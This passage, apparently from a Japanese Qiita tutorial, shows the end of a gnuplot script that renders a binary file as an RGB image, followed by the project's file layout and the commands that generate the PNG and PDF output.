  origin=(XFROM, YFROM) dx=((XTO-XFROM)/(1.*PNG_WIDTH)) dy=((YTO-YFROM)/(1.*PNG_HEIGHT)) \
  with rgbimage

#EOF
```

### ディレクトリ構成

```shell
.
├── config.gp
├── makepdf.gp
├── makepng.gp
└── out.bf1
```

## 実行

```bash
$ gnuplot makepng.gp # ファイル名「PNG_NAME」の PNG が生成される
$ gnuplot makepdf.gp # ファイル名「PDF_NAME」の PDF が生成される
```

![out.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/467925/722c2a8e-9dff-054b-8602-d4a4152faa20.jpeg)

> Qiita の仕様の都合で `PDF` はアップロードできないため，ここでは `JPG` にエクスポートしてある．